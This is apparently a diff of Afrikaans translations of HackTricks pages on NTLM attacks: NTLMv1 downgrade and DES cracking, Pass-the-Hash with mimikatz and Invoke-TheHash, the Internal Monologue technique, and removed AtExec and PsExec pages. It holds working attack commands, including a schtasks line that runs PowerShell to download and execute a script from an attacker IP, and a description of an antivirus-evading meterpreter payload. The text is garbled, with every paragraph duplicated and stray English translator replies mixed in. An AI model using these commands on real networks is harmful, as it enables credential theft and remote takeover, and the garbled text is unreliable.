- **DES is kraakbaar**
- Die 3º sleutel is altyd saamgestel uit **5 nulles**.
- Gegewe die **selfde uitdaging** sal die **antwoord** die **selfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorgerekende reënboogtafels**.
- Die 3º sleutel bestaan altyd uit **5 nulles**.
- Gegewe die **dieselfde uitdaging** sal die **antwoord** die **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorgerekende reënboogtafels**.
### NTLMv1 aanval
Tans word dit al minder algemeen om omgewings met Onbeperkte Delegasie geconfigureer te vind, maar dit beteken nie jy kan nie **'n Print Spooler diens** misbruik wat geconfigureer is nie.
Tans word dit al minder algemeen om omgewings met Onbeperkte Delegasie geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Druk Spooler diens** kan misbruik nie.
Jy kan sommige bewese/sessies wat jy reeds op die AD het misbruik om **die drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, deur `metasploit auxiliary/server/capture/smb` of `responder` kan jy **die verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\
As jy `responder` gebruik kan jy probeer om \*\*die vlag `--lm` \*\* te gebruik om te probeer **afgradeer** die **verifikasie**.\
_Noot dat vir hierdie tegniek die verifikasie moet gedoen word met NTLMv1 (NTLMv2 is nie geldig nie)._
Jy kan sommige akkrediteer/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\
As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te gebruik om te probeer om die **verifikasie** te **verlaag**.\
Let daarop dat vir hierdie tegniek die verifikasie moet plaasvind met NTLMv1 (NTLMv2 is nie geldig nie).
Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesiaal toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) gebruik byvoorbeeld).
Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesifiek toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik).
### NTLMv1 aanval met hashcat
@ -126,7 +126,7 @@ Voer hashcat uit (verspreid is die beste deur 'n hulpmiddel soos hashtopolis) aa
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan bedrieg vir demonstrasiedoeleindes:
In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan bedrieg vir demonstrasiedoele.
```bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
@ -149,26 +149,26 @@ It seems that you haven't provided the text you want translated. Please share th
586c # this is the last part
```
Please provide the text you would like me to translate to Afrikaans.
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated to Afrikaans.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Uitdaging
Die **uitdagingslengte is 8 bytes** en **2 antwoorde word gestuur**: Een is **24 bytes** lank en die lengte van die **ander** is **veranderlik**.
Die **uitdaging lengte is 8 bytes** en **2 antwoorde word gestuur**: Een is **24 bytes** lank en die lengte van die **ander** is **veranderlik**.
**Die eerste antwoord** word geskep deur te cipher met **HMAC_MD5** die **string** wat saamgestel is deur die **klient en die domein** en gebruik as **sleutel** die **hash MD4** van die **NT hash**. Dan sal die **resultaat** gebruik word as **sleutel** om te cipher met **HMAC_MD5** die **uitdaging**. Hierby sal **'n klientuitdaging van 8 bytes bygevoeg word**. Totaal: 24 B.
**Die eerste antwoord** word geskep deur te kodifiseer met **HMAC_MD5** die **string** saamgestel deur die **klient en die domein** en gebruik as **sleutel** die **hash MD4** van die **NT hash**. Dan sal die **resultaat** gebruik word as **sleutel** om te kodifiseer met **HMAC_MD5** die **uitdaging**. Hierby sal **'n klientuitdaging van 8 bytes bygevoeg word**. Totaal: 24 B.
Die **tweede antwoord** word geskep met behulp van **verskeie waardes** (n nuwe klientuitdaging, n **tydstempel** om **herhalingsaanvalle** te vermy...)
As jy 'n **pcap het wat 'n suksesvolle verifikasieproses vasgevang het**, kan jy hierdie gids volg om die domein, gebruikersnaam, uitdaging en antwoord te kry en probeer om die wagwoord te kraak: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
As jy 'n **pcap het wat 'n suksesvolle outentikasieproses vasgevang het**, kan jy hierdie gids volg om die domein, gebruikersnaam, uitdaging en antwoord te kry en probeer om die wagwoord te kraak: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
**Sodra jy die hash van die slagoffer het**, kan jy dit gebruik om **te verpersoonlik**.\
Jy moet 'n **instrument** gebruik wat die **NTLM-verifikasie met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **injekter**, sodat wanneer enige **NTLM-verifikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.
**Sodra jy die hash van die slagoffer het**, kan jy dit gebruik om **te verteenwoordig**.\
Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM outentikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.
**Asseblief, onthou dat jy ook Pass-the-Hash-aanvalle kan uitvoer met behulp van rekenaarrekeninge.**
**Asseblief, onthou dat jy ook Pass-the-Hash-aanvalle kan uitvoer met rekenaarrekeninge.**
### **Mimikatz**
@ -176,7 +176,7 @@ Jy moet 'n **instrument** gebruik wat die **NTLM-verifikasie met** daardie **has
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor geloofsbriewe diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker is (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie).
Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor kredensiale diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie).
### Pass-the-Hash van linux
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en **kies** die **opsie** wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het.
Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en die **opsie** kies wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -238,9 +238,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
**Vir meer inligting oor** [**hoe om geloofsbriewe van 'n Windows-gasheer te verkry, moet jy hierdie bladsy lees**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
## Interne Monoloog-aanval
Die Interne Monoloog-aanval is 'n stil geloofsbriefuittrektegniek wat 'n aanvaller in staat stel om NTLM-hashes van 'n slagoffer se masjien te onttrek **sonder om direk met die LSASS-proses te kommunikeer**. Anders as Mimikatz, wat hashes direk uit geheue lees en dikwels deur eindpuntbeveiligingsoplossings of Credential Guard geblokkeer word, maak hierdie aanval gebruik van **lokale oproepe na die NTLM-authentikasiepakket (MSV1_0) via die Security Support Provider Interface (SSPI)**. Die aanvaller **verlaag eers die NTLM-instellings** (bv. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) om te verseker dat NetNTLMv1 toegelaat word. Hulle doen dan asof hulle bestaande gebruikers tokens is wat verkry is uit lopende prosesse en aktiveer NTLM-authentikasie plaaslik om NetNTLMv1-antwoorde te genereer met behulp van 'n bekende uitdaging.
Nadat hierdie NetNTLMv1-antwoorde vasgevang is, kan die aanvaller vinnig die oorspronklike NTLM-hashes herstel met behulp van **voorgerekende reënboogtafels**, wat verdere Pass-the-Hash-aanvalle vir laterale beweging moontlik maak. Belangrik is dat die Interne Monoloog-aanval stil bly omdat dit nie netwerkverkeer genereer, kode inspuit of direkte geheue-dumps aktiveer nie, wat dit moeiliker maak vir verdedigers om te detecteer in vergelyking met tradisionele metodes soos Mimikatz.
As NetNTLMv1 nie aanvaar word nie—vanweë afgedwonge sekuriteitsbeleide, kan die aanvaller dalk nie 'n NetNTLMv1-antwoord verkry nie.
Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, open dit steeds 'n pad vir relay-aanvalle of offline brute-force in beperkte gevalle.
Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
## NTLM Relay en Responder
**Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle uit te voer hier:**
**Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle hier uit te voer:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

View File

@ -1,27 +0,0 @@
# AtExec / SchtasksExec
{{#include ../../banners/hacktricks-training.md}}
## Hoe Werk Dit
At laat jou toe om take te skeduleer in gasheer waar jy gebruikersnaam/(wagwoord/Hash) ken. So, jy kan dit gebruik om opdragte in ander gasheer uit te voer en die uitvoer te verkry.
```
At \\victim 11:00:00PM shutdown -r
```
Gebruik schtasks, jy moet eers die taak skep en dit dan aanroep:
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
U kan ook [SharpLateral](https://github.com/mertdas/SharpLateral) gebruik.
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
Meer inligting oor die [**gebruik van schtasks met silver tickets hier**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Kyk na al die wonderlike idees van [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)**
van die aflaai van 'n microsoft word-lêer aanlyn tot die ntlm leaks bron: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
**Kyk al die wonderlike idees van [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) van die aflaai van 'n microsoft word-lêer aanlyn na die ntlm lekbronne: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md en [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# PsExec/Winexec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Hoe werk hulle
Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diensbinaries gemanipuleer word om afstandsuitvoering op 'n teikenmasjien via SMB te bereik:
1. **Kopieer van 'n diensbinary na die ADMIN$ deel oor SMB** word uitgevoer.
2. **Skep van 'n diens op die afstandsmasjien** word gedoen deur na die binary te verwys.
3. Die diens word **afstandsbegin**.
4. By uitgang, word die diens **gestop, en die binary word verwyder**.
### **Proses van Handmatige Uitvoering van PsExec**
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdetectie te ontwyk), genaamd 'met8888.exe', wat 'n meterpreter reverse_http payload verteenwoordig, die volgende stappe word geneem:
- **Kopieer die binary**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
- **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstandsgewys te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binary te verwys.
- **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binary nie 'n werklike diensbinary is nie en nie die verwagte responskode kan teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binary is.
Waarneming van die Metasploit listener sal onthul dat die sessie suksesvol geinitieer is.
[Leer meer oor die `sc` opdrag](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Vind meer gedetailleerde stappe in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Jy kan ook die Windows Sysinternals binary PsExec.exe gebruik:**
![](<../../images/image (165).png>)
Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{{#include ../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More